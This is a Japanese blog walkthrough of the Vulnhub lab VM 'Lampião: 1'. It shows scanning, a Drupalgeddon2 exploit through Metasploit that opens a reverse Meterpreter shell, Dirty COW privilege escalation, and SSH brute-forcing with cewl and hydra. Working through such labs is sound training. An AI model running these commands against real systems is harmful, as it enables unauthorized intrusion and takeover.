うさブロ

ぼっちなうさぎのセキュリティラボ

とある親父の侵入実験【Vulnhub Walkthrough - Lampião: 1】

f:id:appleseedj073:20180311215026p:plain

最近、VulnhubというVMのイメージを公開しているサイトを活用してぺネトレーションテストのお勉強。

今回は「Lampião: 1」をやってみる。説明からは「脆弱性のあるマシンを作ったからrootを取ってね」という事なんでroot取るのを目標にがんばる。レベルはイージーらしい。

Would you like to keep hacking in your own lab?

Try this brand new vulnerable machine! "Lampião 1".

Get root!

Level: Easy

 

まずはイメージを落としてきて起動。

f:id:appleseedj073:20181014151624p:plain

当然ここからログインなんてしませんw

なので、自分のKaliで対象のサーバーにログインを試みますよ・・・。ってこいつのIPアドレス何??

相手のIPもわからなければ、自分にどんなIPが振られているかもわからないのでそこらへんから確認する。

root@kali:~# netdiscover -r 192.168.100.0/24

f:id:appleseedj073:20181014192936p:plain

このnetdicoverコマンドで、指定したセグメント内のホストを探している。そしたら、192.168.100.128というホストが見つかった。これがターゲット。

ターゲットのIPが、わかったら調査開始。まずはポートスキャンから

root@kali:~# nmap 192.168.100.128 -p- -A -n

f:id:appleseedj073:20181014200331p:plain

f:id:appleseedj073:20181014200345p:plain

判明したことは・・・

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)

80/tcp open http?

1898/tcp open http Apache httpd 2.4.7 *1
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Lampião

こんな感じにポートが解放されている。

sshは、ユーザ名とパスワードがわからないままでは使えないので後にする。

httpが、空いているようなのでアクセスしてみる。

f:id:appleseedj073:20181014200815p:plain

これといって収穫なし。

次に、1898番にアクセスしてみる。多分こっちが本命。DrupalとかApacheが動いている様子。

f:id:appleseedj073:20181014201447p:plain

色々と情報を持っていそうなサイトが表示された。多分ここから切り崩していくんだと思う。

 

余談だが、このサイトに書かれていたのは、タイトルにもなってるLampião(ランピオン)についての内容だった。このランピオンとは、19世紀末からブラジル北東部で活躍した義賊「カンガセイロ」で活動していた人物の名前。

 

次にサイトの構成情報を取る。

root@kali:~# dirb http://192.168.100.128:1898/

f:id:appleseedj073:20181014203044p:plain

robots.txtがあったのでアクセスすると

f:id:appleseedj073:20181014203702p:plain

CHANGELOG.txtを発見。

f:id:appleseedj073:20181014203714p:plain

中を確認したらDrupalバージョンが判明した。

 

Drupal 7.54に脆弱性がないかググってみると・・・あった!!

www.exploit-db.com

metasploitでも使えるのかsearchsploitで調べてみる。

root@kali:~# searchsploit Drupalgeddon2

f:id:appleseedj073:20181014204314p:plain

いけそうw

Metasploitを起動して、Drupalgeddon2を探してみる。

msf > search Drupalgeddon2

f:id:appleseedj073:20181014211132p:plain

msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) >

オプションを確認して必要事項を入力してexploitする。

msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.100.128
RHOST => 192.168.100.128
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
RPORT => 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.100.133:4444
[*] Drupal 7 targeted at http://192.168.100.128:1898/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.100.128
[*] Meterpreter session 1 opened (192.168.100.133:4444 -> 192.168.100.128:39994) at 2018-10-14 21:06:22 +0900

meterpreter >

侵入成功

metarpreterのコマンドで調査

meterpreter > sysinfo
Computer : lampiao
OS : Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686

Linuxカーネルが判明した。

他に取れそうな情報もなさそうなのでshellで中に入ってみる。

meterpreter > shell
Process 7565 created.
Channel 0 created.
whoami
www-data
pwd
/var/www/html

ユーザは「www-data」で/var/www/htmlにいるのがわかった。

su
su: must be run from a terminal

suコマンドをしてみたらターミナルからじゃないので怒られたので、とりあえずpty作って再度挑戦

python -c 'import pty;pty.spawn("/bin/sh");'

$ su
su
Password:

パスワード求めらるようになったけど、知らないから無理w

なんとかして権限昇格したいから脆弱性がないか内部を調査する。

まずはツールの準備としてこの二つを準備

github.com

github.com

準備できたら、ターゲット側からダウンロードできる様にサーバーを立ち上げて待ち受けるなどしておく。ターゲット側に調査用のツールを送り込んだらそれぞれ実行する。

linux-exploit-suggesterの結果からdirtycowが使えそうなことが判明。

f:id:appleseedj073:20181014220949p:plain

またLinEnumの結果からg++も使えそうなのでコンパイルに関しても問題はなさそう。

f:id:appleseedj073:20181014221115p:plain

と、いうことでdirtycowのコードを送り込んでコンパイルして実行

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

f:id:appleseedj073:20181014221826p:plain

rootのパスワードが書き換わったので権限昇格可能になった。

一度セッションが切れてターミナル落ちたから再度開いてsu -でrootへ。

f:id:appleseedj073:20181014222223p:plain

rootのディレクトリ内を確認したらflag.txt発見

f:id:appleseedj073:20181014222829p:plain

flag.txt : 9740616875908d91ddcdaa8aea3af366

root権限も取れて、フラグも見つけたので終了

ちなみにこのフラグのハッシュ値が気になって調べてみると/var/www/html/lampiao.jpgのハッシュ値だった。

f:id:appleseedj073:20181014223503p:plain

この画像を開いてみると・・・

f:id:appleseedj073:20181014223718p:plain

ランピオン(Lampião)ことビルグリーノ・フェレイラ・ダ・シルバが、こちらに銃を向けてる画像でした。

 

 

 

さて、root取ってフラグ見つけたけど自分の中では、サーバへの侵入方法が「metasploitを使った」というのが少し納得がいかない。もう少し綺麗に侵入できないのか調べてみると別ルートでの侵入方法があったので、そこの部分だけ抜き出して解説。

 

Lampiãoのサイトをよく見てみると、投稿者が二人いることが確認できる。

 

f:id:appleseedj073:20181014225805p:plain

f:id:appleseedj073:20181014225816p:plain

tiagoとederの二人がこのサイトに関係しているユーザのようだ。そこで、この二人の名前のユーザリストを作成する。

echo tiago > userlist
echo eder >> userlist

次にパスワードリストをこのLampiãoのサイトで使用されている単語をもとにパスワードリストを作成。(ちょっと時間空いたからIPアドレスが変わってるけどターゲットには変わりは無し)

cewl -w wordlist http://192.168.136.212:1898/?q=node/1

f:id:appleseedj073:20181014234720p:plain

このuserlistとwordlistを使ってhydraでブルートフォースする

hydra -L userlist -P wordlist ssh://192.168.136.212

f:id:appleseedj073:20181014234734p:plain

tiagoのパスワードがVirgulinoと判明した。この情報をもとにsshで接続する。

f:id:appleseedj073:20181014235006p:plain

見事にログイン成功!metasploitを使用する事なく与えられた情報を活用して侵入できた。

 

まとめ

脆弱性を活用できるか調べるためにも、ターゲットのサービスやOSのバージョンを知ることがとても重要。管理者権限を持っていなくてもかなりの情報を集めることは可能。すぐにmetasploitを起動するのではなく先ずは調査(自分への戒めw)